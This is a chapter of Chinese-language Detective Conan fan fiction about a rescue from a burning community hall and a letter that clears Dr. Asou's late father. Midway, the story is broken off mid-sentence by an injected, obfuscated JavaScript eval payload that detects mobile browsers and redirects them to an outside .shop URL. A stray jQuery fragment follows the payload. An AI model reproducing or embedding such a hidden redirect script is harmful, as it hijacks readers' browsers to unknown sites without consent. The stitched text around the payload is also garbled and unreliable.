“你疯了!”
“你怎么……你快出去!”麻生成实难得结巴了起来。
他一把扯下脑后的发绳,三步并成两步,伸手拢住石川真纪的长发,手一挽,就给她在脑后扎了个丸子。
眼前的窗格已经被烈焰吞噬,半点看不见外面的景色。
麻生成实脸色难看,握住她的肩膀摇晃,声音难免发涩:“……还来得及,你踩在我身上,我把你托出去!”
可石川真纪没有回答,在他的摇晃中,她摸了摸脑后被扎起的头发,小声嘀咕:“医生是不是都有洁癖啊……”
“石川小姐!请你认真一点!这不是开玩笑的时候!”麻生成实大声吼道。
她根本就还没有意识到事情的严重性!火势越来越大了!
石川真纪再不走,会和他一起死在这里的!
麻生成实咬牙,准备弯下身,不管不顾地将她扛起——
可下一秒,他的视野却天旋地转了起来。
他瞪大眼,懵了几秒才明白过来——自己是被石川真纪倒置着扛在了肩上。
……她一个女生力气怎么这么大?!
大脑因充血而眩晕着,他紧紧地攥着她的衣摆,挣扎着要下来:“你干什么!放开我!来不及了,你必须快点出去!!”
“嘶……”真纪倒吸了口气。
好重,忘记成实医生是一个成年男性了。她歪着身子,用手臂和肩膀卡着他。
成实医生的手不停地拍打着她的背。
但一点都不痛,想要挣扎还是要用点真力气才行啊。
真纪死死压住他乱蹬的腿,对他的话充耳不闻,只说:“别着急,我们会出去的啦。”
她快速扫视周围火势。
火焰如游蛇般附在墙壁上,一路蜿蜒而上,天花板都被熏地一片灰黑。
四周都是一片火海,过高的气温如浪般扑来,一点一点地啃食着皮肤。
这让她觉得,她和成实医生仿佛置身于烤箱之中,成为了两条被高温慢烤的牛排。
热汗不断从额角滚落,真纪眨掉流进眼眶里的水渍,不得不承认——哪怕是她,想带着这么一个大活人逃出这里,也还是会有些难度。
火势太猛,扛着人,她没办法像来时那样轻飘飘地跳出去。
但先将成实医生扔出去,自己再往外跳——也不现实。
墙体早已被火焰吞没,浓烟遮蔽,熏得她分不清哪里是已经被破开的窗口。
以她的臂力和他的体重,真想要这么做,就必须贴近墙体。
她要带着人走近火里吗?
她可是闻到了啊,浅井成实这小子点燃公民馆用的是汽油。
要是稍有失误,沾上了那些东西——他们势必会被瞬间点燃。
然后变成餐厅里那些以喷了酒精为噱头的火焰料理。
三分熟也不行啊!
她不接受!
脚下的地板发出噼里啪啦的声响,火舌蜿蜒着逼近。
看着眼前的火焰越来越近,麻生成实停下了挣扎,扯着她的衣服哑声道:“……对不起,是我连累了你。”
什么连累。
真纪回过神,察觉到肩上颤抖的身体,把他向上掂了掂。
她笑:“说什么呢,还没到要死的地步。”
麻生成实看不见她的表情,只能听见从头顶传来的声音。
石川真纪的语气依旧轻松,听不出半分紧张,仿佛这样生死一线的险境,不过是一场不值一提的游戏。
他抿了抿唇,彻底放松力气,不再与她对抗。
真纪循着记忆评估着路线。
之前的话撤回!
三分熟就三分熟吧!总比全熟要好,这里不能再呆了。
打定主意,她鞋尖往旁边一伸,就将琴凳勾了过来,再一推,琴凳就稳稳地滑入了火丛中。
她身体微微下压,后撤半步——
“记得护住你的脸!”她最后提醒道。
恰在此时,一片白色粉沫冲破了火焰,从窗外猛地喷洒进来,粉末如雨般洋洋洒洒地落下。
一时间,干粉在火焰中撕开了一道口子,半墙高的火势竟被牢牢压制住了!
真纪眼睛一亮,双臂收紧,牢牢地捆住浅井成实,不再犹豫,纵身一跳。
鞋尖点上琴凳,又猛地借力一跃——
“砰——!”
火焰燎过身体的钝痛仅仅只维持了几秒,便被浑身砸在实地上的钝痛取代。
他们摔落在窗外,只是,带着一个人多少影响了她的弹跳力,她没有像预期那样跳地很远,而是一落地就不受控制地滚向墙根,刚一靠近,他们的衣角便窜起了火星。
顾不上别的,她连忙爬起,就要把成实医生拖离这片区域。
可才刚刚站稳,腰间骤然一紧,突如其来的失重感席卷了她。
什么?
她愣了愣,低头在腰际看见了一条肌肉紧绷的小麦色手臂。
那人猛地一抛,她整个人就扑进了一个坚实的怀抱。
真纪茫然地趴在波本的肩上,越过他向后看。
燃烧着的公民馆离他们越来越远,粘稠又沉闷的热浪也渐渐变得模糊不清。
真纪看着漫天的灰烬,咬了下舌头。
……波本出差也要带着家里的沐浴露吗?这是不是有些太精致了……
还没来得及细想,很快,真纪的世界再一次倒转。
她仰面躺在了草地上。
一个偌大的盆底悬在她的眼前,她眨了眨眼,清水就从天而降地将她浇了个透心凉。
她还懵着,柯南就已经丢下盆急匆匆地跑走了。
头顶传来压抑而急促的喘息。她慢了半拍地侧脸看去。
阳光很刺眼。
一头金色的碎发在风中飘扬着,被阳光勾勒出一条条金边。
安室透双手支着膝盖,胸膛剧烈起伏,汗水混着黑灰流到了下巴,看起来十分狼狈。
他死死地盯着她,那双灰紫色的双眼里映照着熊熊烈焰。
“水来了——!!”
毛利兰声音远远传来。
真纪后知后觉地坐起身,正看见了朝他们奔来的毛利兰。
她下意识一笑,刚想对一脸焦急的小兰挥挥手,就看见了——她手中握着的水管。
真纪眨了眨眼。
下一秒,人还没到,急速地水柱已经劈头盖脸地冲向她。
……
十分钟后。
对着她和麻生成实狂浇的水管终于移开了。
真纪生无可恋地瘫倒在草地上。
和她一样,麻生成实也被一个另一个陌生男人拖着丢到了不远处。和她一样被柯南迎头泼了一盆水,一样被毛利兰公平地用水冲刷着降温。
多亏了安室透和那个陌生男人,他们及时找到了灭火器,在火焰中给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658301|205740||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她和成实医生开了一条路,所以他两身上都没有沾到汽油,只有一些大大小小的燎伤。
消防已经就位,消防车远远地向公民馆里面撒着水,火势正在变小。
真纪侧过脸看麻生成实。
他低着头,水珠顺着长发滴滴答答地落下。
虽然她的速度已经很快了,可他那头柔顺的长发还是被火燎得参差不齐。
她摸了摸自己的头发,她脑后的头发被绑得很结实,即使都在地上这么来回滚过,也没有散开。
“真纪,好一些了吗?有没有哪里不舒服?”毛利兰拿着湿毛巾忧心地看着她,一脸犹豫。
她接过毛巾胡乱擦了把脸,笑:“没事,我没事。”
消防员仍在奋力扑灭残火。安室透在远处和毛利小五郎、目暮警官交谈着。
他们这一圈人还是坐在草坪上。不远处站着几名警官,不知道出于什么原因并没有往他们这边过来。
自从火场出来后,麻生成实就一直沉默着。柯南一开始围着她转了几圈,发现她没什么事情后,就又回到麻生成实身边,小声地和他说话,只是一直没得到任何回应。
那个救了麻生成实的男人只是站在一旁,看着他沉默许久。
真纪看了看他,刚要收回视线,就看见他动了。
他从怀里取出一个保存完好的信封,双手捧着,单膝跪在麻生成实面前,递了出去。
“成实医生,这封信……是你父亲的。”他声音低沉,缓缓道,“我是村泽周一,你可能不认识我。”
“我从前就很仰慕你的父亲。这些年来,我常常私下里去到公民馆,为里面那架麻生圭二先生留下的钢琴调音。”
麻生成实的睫毛微不可察地颤动了一下,却依旧没有说话。
“这封信一直藏在钢琴的共鸣箱里,因为他们不懂钢琴,所以这封信一直都没有被发现。直到我第一次去调音……十分抱歉,我没有按捺住我的好奇心——私自将它打开了。”
村泽周一抹了把脸,继续说道:“这里面存放着的,是麻生先生向龟山勇借款的凭证……以及,他并未参与贩毒的证据。”
四周俨然一静。
“真的十分抱歉。”村泽周一站起身,深深地向麻生成实鞠了个躬,语气晦涩,“因为黑岩村长……是我未婚妻令子的爸爸,我在拿到这份证据后什么都没做……”
“您的爸爸没有做错事,他是无辜的。”
“十分抱歉。”
村泽周一鞠着躬,双手举过头顶,沉默地等待着。
麻生成实没有反应。
柯南默默接过信封,也没有说话。
村泽周一最后看了麻生成实一眼,就垂着头走开了。
四周很沉默。
真纪看看麻生成实,他还是什么都没说。
只是,他慢慢地曲起了双腿,将头埋在了膝盖上。
手臂挡住了他的脸,真纪什么也看不到。
真纪收回视线,往后一倒,背对着他躺在了草地上。
视野里,公民馆的火光彻底暗了下来,只飘着淡淡的黑烟。
她听着消防车上规律的警报声。
渐渐地,身后传来一丝微不可察的哽咽。
那声音一点一点变大,终于,变成了再也压抑不住的啜泣。
真纪叹了口气,之后却笑了。
她轻松地说:“请活下去吧,成实医生。”